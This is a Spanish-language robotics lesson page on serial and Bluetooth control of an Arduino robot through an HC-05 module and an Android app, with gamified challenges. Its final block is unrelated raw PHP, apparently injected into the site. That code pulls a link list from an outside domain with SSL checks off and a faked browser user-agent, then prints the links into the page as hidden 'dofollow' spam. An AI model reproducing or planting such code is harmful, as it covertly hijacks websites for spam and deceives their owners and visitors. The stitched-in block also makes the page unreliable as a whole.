Be Maker

Loading...

Be Maker

section-icon

Maker Lab

¡Porque cada gran inventor necesita un buen laboratorio! Aquí encontrarás proyectos paso a paso, mini guías y recursos sobre electrónica, diseño 3D, programación y robótica.

Uncategorized - noviembre 15, 2025

Comunicación Inalámbrica con Bluetooth

1

TechMentor

@admin

LECCIÓN 05

Para obtener tu recompensa debes estar registrado en nuestra plataforma y publicar tu trabajo

🧠 ¿Qué aprendo?

  • Realizar la conexión del módulo bluetooth a tu Robot
  • Conectar tu Robot a tu dispositivo Android por bluetooth
  • Controlar tu Robot mediante una App Android
  • Comunicación Serial

🧠 Conocimientos previos

  • Señales digitales
  • Sentencias condicionales

🧠 Comunicación Serial

💡 El puerto serie es el medio que tiene tu placa controladora para comunicarse con otro aparato como el ordenador o tu móvil. Es muy útil para comprobar de un vistazo el valor de un sensor o una variable, ver el estado de tu programa y, en definitiva, corregir y entender mejor los posibles errores que éste tenga.

📋 Ejemplo N° 1: Comunicación Serial

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación para controlar el encendido y apagado del led rojo:

  • Al presionar la tecla ‘e’, el led se encienda
  • Al presionar la tecla ‘a’, el led se apague

💻 Circuito

💻 Código ArduinoBlocks

💻 Código Arduino

⚔️Desafío 01: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

  • 🧠 Utiliza la información del ejercicio «Comunicación Serial» para controlar el encendido y apagado del led rojo y led azul:
  • Al presionar la tecla ‘q’: El led rojo se enciende
  • Al presionar la tecla ‘w’: El led rojo se apaga
  • Al presionar la tecla ‘a’: El led azul se enciende
  • Al presionar la tecla ‘s’: El led rojo se apaga

📋 Ejemplo N° 2: Moviendo motores

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación para controlar el encendido y apagado un motor de nuestro robot:

  • Al presionar la tecla ‘e’, el motor gira
  • Al presionar la tecla ‘a’, el motor se apaga

💻 Circuito

💻 Código ArduinoBlocks

💻 Código Arduino

⚔️Desafío 01: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

  • 🧠 Utiliza la información del ejercicio «Moviendo motores» para controlar el encendido y apagado de los dos motores:
  • Al presionar la tecla ‘e’: Los motores giran en el mismo sentido
  • Al presionar la tecla ‘a’: Los motores se detienen

📋 Ejemplo N° 3: Programando movimientos

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación para controlar el encendido y apagado de los motores de nuestro robot:

  • Al presionar la tecla ‘F’, los motores giran hacia adelante
  • Al presionar la tecla ‘S’, los motores se apagan

💻 Circuito

💻 Código ArduinoBlocks

💻 Código Arduino

⚔️Desafío 01: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

  • 🧠 Utiliza la información del ejercicio «Programando movimientos» para programar todos los movimientos de nuestro robot::
  • Al presionar la tecla ‘F’: El robot se mueve hacia adelante
  • Al presionar la tecla ‘S’: Los motores se detienen
  • Al presionar la tecla ‘B’: El robot se mueve hacia atras
  • Al presionar la tecla ‘L’: El robot gira a la izquierda
  • Al presionar la tecla ‘R’: El robot gira a la derecha

🧠 Comunicación Bluetooth

💡 La comunicación Bluetooth se da entre dos tipos de dispositivos: un maestro y un esclavo. Si nuestro objetivo es conectar nuestro proyecto a un smartphone android podemos utilizar tanto un módulo HC-06 o un HC-05 configurado como esclavo.

🧠 El Módulo Bluetooth HC-05

💡 El módulo Bluetooth HC-05 nos permite conectar nuestros proyectos con Arduino a un smartphone, celular o PC de forma inalámbrica (Bluetooth), con la facilidad de operación de un puerto serial.

Código Arduino

🆘 ¿Cómo funciona?
✅ El Rx (Recibir) es el encargado de recibir información y Tx (Transmitir) es el encargado de transmitir información.

🧠 APP Móvil Arduino Car

💡 Arduino Car es una Aplicación Android que nos sirve para poder controlar nuestro Robot desde nuestro Smartphone o Tablet.

🧠 Configuración – Teclas de Control

🧠 Descargar la App

⚠️ Recuerda: Para emparejar el bluetooth de nuestro Robot a nuestro dispositivo Android la clave que debemos colocar es: 1234.

📋 Ejemplo N° 1: Controlar Nuestro Robot desde Arduino Car

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación de tu robot para que pueda moverse hacia adelante al presionar el botón adelante y se detenga al soltar dicho botón.

💻 Circuito

💻 Código ArduinoBlocks

⚔️Desafío 01: Demuestra lo aprendido

💰Recompensa: 30 Monedas de Oro – 15 Cristales de Experiencia

🧠 Utiliza la información del ejercicio «Controlar Nuestro Robot desde Arduino Car» para que tu robot también pueda moverse atrás.

📋 Ejemplo N° 2: Movimientos Completos del Robot

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación de tu robot para que pueda moverse hacia todas las direcciones.

💻 Código ArduinoBlocks

📋 Ejemplo N° 3: Movimientos Completos del Robot con Gripper

➡️ Ingresamos a la Cuenta de ArduinoBlocks de miMakerHouse y en «Correo electrónico» colocamos nuestro nombre de usuario (NombreApellido.bmaker)

Plataforma ArduinoBlocks

💻 Descripción

🧠 Realizar la programación de tu robot para que pueda moverse hacia todas las direcciones y que también pueda utilizar el Gripper.

💻 Código ArduinoBlocks


Recuerda

💡 El módulo bluetooth reemplaza la conexión cableada para controlar nuestro robot de manera inalámbrica.

$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }